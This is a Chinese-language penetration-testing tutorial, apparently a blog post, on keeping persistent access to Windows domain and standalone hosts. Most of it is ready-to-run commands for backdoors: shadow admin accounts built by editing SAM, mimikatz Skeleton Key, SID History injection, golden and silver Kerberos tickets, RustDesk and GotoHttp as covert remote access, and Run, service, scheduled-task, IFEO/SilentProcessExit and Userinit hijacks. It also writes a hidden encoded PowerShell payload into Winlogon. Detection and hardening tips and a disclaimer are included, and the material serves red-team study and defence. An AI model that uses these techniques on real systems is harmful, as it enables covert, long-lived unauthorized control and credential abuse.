内网权限维持实战:打造持久化后门与隐蔽通道

本人在合法虚拟机环境中操作,无任何不良影响

在渗透测试中,成功拿下目标主机或域控并非终点。攻击者往往需要长期维持访问权限 ,防止因漏洞修复、系统重启或权限变更而失去控制。权限维持技术种类繁多,本文将从域环境单机环境两个维度,详细介绍隐藏账户、影子账户、白名单远控软件、Skeleton Key、SID History、黄金/白银票据、启动项劫持、映像劫持、无文件落地等十余种持久化手段,并提供完整的命令示例与防御建议。


一、权限维持整体思路


二、域环境权限维持

2.1 创建隐藏账户

在已经获得域管理员权限后,创建一个在命令行下不可见但实际存在的账户,可作为后门登录。

方法一:使用专用工具 CreateHiddenAccount

该工具可创建net user无法列出的隐藏账户,但会在控制面板用户管理中显示。

复制代码
bash

# 上传工具到目标,执行创建
CreateHiddenAccount_upx_v0.2.exe -u xiaolin -p xiaolin!@#45

# 检查是否存在隐藏账户
CreateHiddenAccount_upx_v0.2.exe -c
复制代码

特点

  • 适用于域环境及单机。

  • 命令net user看不到,但控制面板可见。

  • 工具还能检测隐藏账户。

方法二:手工创建影子账户(注册表法)

影子账户不仅net user看不到,在"计算机管理"中也隐藏,仅注册表可见。

步骤

  1. 创建一个带$结尾的普通账户(如aaa$):

    复制代码
    bash
    
    net user aaa$ 123456 /add
    net localgroup administrators aaa$ /add
    复制代码
  2. 打开注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\

    (需要授予管理员对SAM的读取权限)

  3. 找到Administrator对应的项(通常是000001F4),复制其F键的值。

  4. 找到aaa$对应的项(根据Names里的aaa$找到其十六进制目录),将AdministratorF值粘贴覆盖。

  5. 导出aaa$对应的整个项及Names\aaa$项到桌面(.reg文件)。

  6. 删除原有aaa$账户:

    复制代码
    bash
    
    net user aaa$ /del
    复制代码
  7. 双击导入刚才导出的.reg文件,影子账户即生效。

影子账户特性

  • 任何地方看不到,但可通过net use或远程桌面登录(以Administrator权限)。

  • 克隆账户时如果原账户被禁用,克隆后也禁用。

  • 克隆后修改原账户密码,影子账户仍有效。

防御建议:定期检查注册表SAM中可疑的SID,使用wmic useraccount get name,sid对比。


2.2 基于白名单远控软件维持

传统C2木马易被杀软查杀,而正规远程控制软件(如向日葵、ToDesk、GotoHttp、RustDesk)通常被加入白名单,无需免杀。

2.2.1 GotoHttp
  • 特点:无需安装,单exe文件,运行后生成ID和密码,通过浏览器(https)即可控制。

  • 优点:流量走https(443端口),低带宽可用,控制端无需安装软件。

  • 缺点:目标需联网且不封https;休眠唤醒可能被安全卫士拦截。

用法

复制代码
bash

# 上传到目标并运行
GotoHttp.exe
# 运行后读取同目录下生成的记录文件,获得ID和密码
# 本地浏览器打开官方网址,输入ID和密码即可远程桌面
复制代码
2.2.2 RustDesk

RustDesk是一款开源的远程桌面软件,既是服务端也是客户端,支持无网络环境(内网直连)。

有网络环境

  1. 上传并运行,在%AppData%\RustDesk\config中获取ID和密码。

  2. 本地RustDesk输入ID和密码连接。

无网络环境(内网直连)

  1. 修改配置文件%AppData%\RustDesk\config\RustDesk.toml,添加:

    复制代码
    toml
    
    direct-server = 'Y'
    direct-access-port = '8445'
    复制代码
  2. 重启RustDesk,此时不会生成ID,但可在本地客户端直接输入目标IP:8445及密码连接(密码仍在该目录配置文件中)。

优点:内网无互联网也可用,白名单软件,免杀。

防御建议:企业应通过应用白名单控制陌生exe运行,或监控非授权远程软件网络连接。


2.3 Skeleton Key(万能密码)

原理 :将恶意代码注入域控的lsass.exe进程,为所有域用户添加一个万能密码 (默认为mimikatz),不影响原密码。

步骤

  1. 在已获得的域控上以管理员运行mimikatz:

    复制代码
    bash
    
    privilege::debug
    misc::skeleton
    复制代码

    成功后会提示注入完成。

  2. 在其他域内机器上使用万能密码连接域控:

    复制代码
    bash
    
    net use \\OWA2010CN-God\ipc$ "mimikatz" /user:god.org\administrator
    dir \\OWA2010CN-God\c$
    复制代码

局限性

  • 万能密码仅存在于内存中,域控重启后失效

  • 仅影响lsass进程,不修改SAM数据库。

防御:启用Credential Guard,监控lsass异常行为,定期重启域控并更新密码。


2.4 SID History后门

每个用户都有一个SID(安全标识符)。SID History属性原本用于迁移场景,允许用户保留原域权限。攻击者可利用此属性,将普通用户的SID History添加为域管理员SID,从而获得管理员权限。

步骤

  1. 在域控上获取目标用户(如test)和域管理员(如Administrator)的SID:

    复制代码
    powershell
    
    Get-ADUser test -Properties sid
    Get-ADUser Administrator -Properties sid
    复制代码
  2. 使用mimikatz添加SID History:

    复制代码
    bash
    
    privilege::debug
    sid::patch
    sid::add /sam:test /new:管理员SID
    复制代码
  3. 验证:test用户登录后,其访问令牌中将包含管理员SID,可访问域控资源。

特性:SID History修改后持久有效,即使原密码更改也不影响。

防御:定期检查高权限用户的SID History属性,使用PowerShell:

复制代码
powershell

Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory -ne $null}
复制代码

2.5 黄金票据与白银票据

票据传递(PTT)不仅用于横向移动,更是权限维持的利器。利用伪造的Kerberos票据,可在域内任意访问资源,且不触发常规日志。

2.5.1 黄金票据(Golden Ticket)

原理 :使用域控krbtgt账户的NTLM Hash,伪造任意用户的TGT(登录票据),从而访问任何服务。

前提 :已获得krbtgt的Hash(可通过lsadump::lsa /patch获取)。

制作步骤

  1. 获取域的SID(去掉末尾的RID部分):

    复制代码
    bash
    
    whoami /all
    # 示例 SID: S-1-5-21-1218902331-2157346161-1782232778-1132
    # 域SID取前部分: S-1-5-21-1218902331-2157346161-1782232778
    复制代码
  2. 获取krbtgt的NTLM Hash(域控上):

    复制代码
    bash
    
    mimikatz lsadump::lsa /patch
    # krbtgt: b097d7ed97495408e1537f706c357fc5
    复制代码
  3. 生成黄金票据(有效期可设置10年):

    复制代码
    bash
    
    kerberos::golden /user:任意用户名 /domain:god.org /sid:域SID /krbtgt:krbtgt的Hash /ticket:ticket.kirbi
    复制代码
  4. 清除现有票据并导入:

    复制代码
    bash
    
    klist purge
    kerberos::ptt ticket.kirbi
    复制代码
  5. 验证访问域控:

    复制代码
    bash
    
    dir \\域控主机名\c$
    复制代码

特点 :有效期可设置为几十年,即使域管理员密码更改,黄金票据依然有效(除非krbtgt密码被重置两次)。

2.5.2 白银票据(Silver Ticket)

原理:伪造特定服务的ST(服务票据),只能访问指定服务(如CIFS共享),但无需与域控通信。

步骤

  1. 获取域控机器账户的NTLM Hash(如OWA2010CN-GOD$):

    复制代码
    bash
    
    mimikatz sekurlsa::logonpasswords
    复制代码
  2. 生成白银票据(指定目标服务器和服务类型):

    复制代码
    bash
    
    kerberos::golden /user:任意用户 /domain:god.org /sid:域SID /target:目标主机名 /service:cifs /rc4:机器账户Hash /ptt
    复制代码
  3. 访问目标共享:

    复制代码
    bash
    
    dir \\目标主机\c$
    复制代码

限制:只能访问指定服务(如cifs、http、ldap等),且需要目标主机的机器账户Hash。

黄金票据 vs 白银票据
特性 黄金票据 白银票据
加密密钥 krbtgt NTLM Hash 服务账户(如机器账户)NTLM Hash
权限范围 整个域,任意服务 仅限指定服务器的指定服务
与域控交互 伪造TGT,需与KDC交互 伪造ST,直接访问服务,不触达KDC
持久性 极强,除非krbtgt改两次 较强,但只能访问特定资源
检测难度 较高(日志异常) 更高(无KDC日志)

防御

  • 定期重置krbtgt密码两次(清除所有黄金票据)。

  • 启用PAC签名验证。

  • 监控4624登录事件中的异常服务票据请求。


三、单机环境权限维持

当目标机器不在域内,或仅需维持单机权限时,可采取以下持久化手段。

3.1 自启动项

3.1.1 启动文件夹

将木马放入以下目录,用户登录时自动运行:

  • 当前用户:C:\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

  • 所有用户:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

特点:操作简单,但容易被发现。

3.1.2 服务自启动

使用sc命令创建服务并设置为自动启动:

复制代码
bash

sc create ServiceTest binPath= C:\6.exe start= auto
sc start ServiceTest
复制代码

服务启动的进程通常具有SYSTEM权限

删除服务:

复制代码
bash

sc delete ServiceTest
复制代码
3.1.3 注册表Run键

当前用户

复制代码
bash

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V backdoor /t REG_SZ /F /D "C:\6.exe"
复制代码

系统级(需管理员)

复制代码
bash

REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V backdoor /t REG_SZ /F /D "C:\6.exe"
复制代码
3.1.4 计划任务

创建计划任务,设定触发器为开机/用户登录/定时等:

复制代码
bash

schtasks /create /tn "Backdoor" /tr "C:\6.exe" /sc onstart /ru SYSTEM /F
复制代码

3.2 映像劫持

原理 :Windows在启动程序时,会先检查Image File Execution Options注册表项,若配置了debugger键,则启动调试器程序。

简单劫持 (例如将notepad.exe替换为calc.exe):

复制代码
bash

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\calc.exe"
复制代码

之后每次打开记事本都会启动计算器。但原程序不会运行,易暴露

高级劫持(配合GlobalFlag和SilentProcessExit)

可实现原程序正常运行,关闭后才触发后门,隐蔽性更强。

复制代码
bash

# 设置GlobalFlag
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# 配置SilentProcessExit
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\6.exe"
复制代码

这样,用户正常使用记事本,退出后才会执行后门程序。

3.3 登录界面劫持(Userinit)

Windows在用户登录时,会执行Userinit注册表键指定的程序。可以在其后追加后门,实现每次登录触发。

键值位置

复制代码
text

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
复制代码

默认值为C:\Windows\system32\userinit.exe,

添加后门

复制代码
bash

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\6.exe"
复制代码

效果:每次用户登录(包括注销后重新登录),后门都会以用户权限执行。

3.4 无文件落地技术

传统落地木马易被静态查杀。将后门代码(如PowerShell脚本)直接写入注册表,由系统触发时动态加载,可绕过文件扫描。

步骤

  1. 使用Cobalt Strike生成PowerShell无文件payloadAttacksPackagesPowerShell Command)。

  2. 将生成的Base64编码命令写入注册表,例如与Userinit结合:

    复制代码
    bash
    
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe, powershell -nop -w hidden -enc JABzAD0ATgB..."
    复制代码
  3. 用户登录时,PowerShell直接从内存执行,无任何文件落地。

其他注册表位置RunRunOnceAppInit_DLLs等均可配合无文件执行。

防御:监控注册表关键键值的变更,使用PowerShell日志记录执行历史。


四、权限维持技术对比

技术 适用环境 隐蔽性 持久性 依赖条件
隐藏账户 域/单机 高(工具创建较隐蔽) 永久 管理员权限
影子账户 域/单机 极高(注册表不可见) 永久 SAM修改权限
GotoHttp/RustDesk 域/单机 中(白名单进程) 重启后需手动重连 可执行文件
Skeleton Key 域控 高(内存中) 仅到重启 域控管理员
SID History 很高 永久 域管理员+域功能级别
黄金票据 长达10年 krbtgt Hash
白银票据 很高 直至服务账户改密 服务账户Hash
启动项/服务/注册表 单机 重启后 写入权限
映像劫持 单机 中(高级方式) 永久 写入权限
Userinit登录劫持 单机 永久 管理员权限
无文件落地 单机 永久 注册表写入+PowerShell

五、检测与防御建议

5.1 检测方法

  • 账户审计net userwmic useraccount、注册表SAM对比。

  • 进程监控lsass异常注入、未知进程名。

  • 注册表监控 :关键路径RunWinlogonImage File Execution OptionsSilentProcessExit

  • 日志分析4624登录、4672特权分配、4698计划任务创建、4657注册表修改。

  • 票据审计klist查看缓存票据,域控上启用PAC签名验证。

5.2 加固措施

  • 最小权限原则:域管账号仅用于管理,禁止登录普通主机。

  • 启用Credential Guard(Win10+/Server2016+):防止mimikatz读取lsass明文。

  • 应用白名单:禁止非授权exe运行。

  • 定期重置krbtgt密码(两次)。

  • 启用SID History审计并清理异常。

  • EDR部署:监控注册表、进程创建、网络连接等行为。


六、总结

内网权限维持是渗透测试的高级阶段,其本质是在系统正常行为中嵌入恶意持久化逻辑。攻击者常用的手段涵盖了账户隐藏、白名单软件、进程注入、注册表劫持、票据伪造等多个层面。防御方应通过纵深监控、最小权限、补丁管理及定期检查来降低风险。

本文所有技术仅供合法安全测试与学习使用,请勿用于非法目的。在实际授权测试中,建议优先使用无文件、内存级的技术以减少对目标系统的影响,并做好操作记录与痕迹清理。

相关推荐
一条泥憨鱼1 小时前
Harness Engineering(驾驭工程)零基础入门
网络·人工智能·harness·驾驭工程
2601_955767421 小时前
2026年iPhone17护眼钢化膜推荐:悟赫德测评
网络·人工智能·iphone·#观复盾护景贴·scinique双护技术
咖啡星人k2 小时前
MonkeyCode 开源安全审计:第三方依赖风险管理与供应链安全
安全·开源·monkeycode
Tian_Hang2 小时前
Linux基础知识(二)
网络
高心星2 小时前
鸿蒙6.0应用开发——网络状态管理
网络·华为·网络状态·鸿蒙6.0·harmonyos6.0·网络重连
万能的知了2 小时前
WAF、高防IP、CC防护:安全产品到底怎么选
服务器·网络协议·安全
持敬chijing2 小时前
Web渗透之SQL注入-URL解码注入(URL Decode Injection)
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析
shandianchengzi2 小时前
【记录】VSCode|Windows 下 VS Code 配置 Git Bash 为默认终端完整教程
windows·git·vscode·bash
网络研究院2 小时前
2026 终极攻防变局:深度拆解 MITRE ATT&CK ER8 企业安全评估路线图与微观技术实战
网络·安全·网络研究观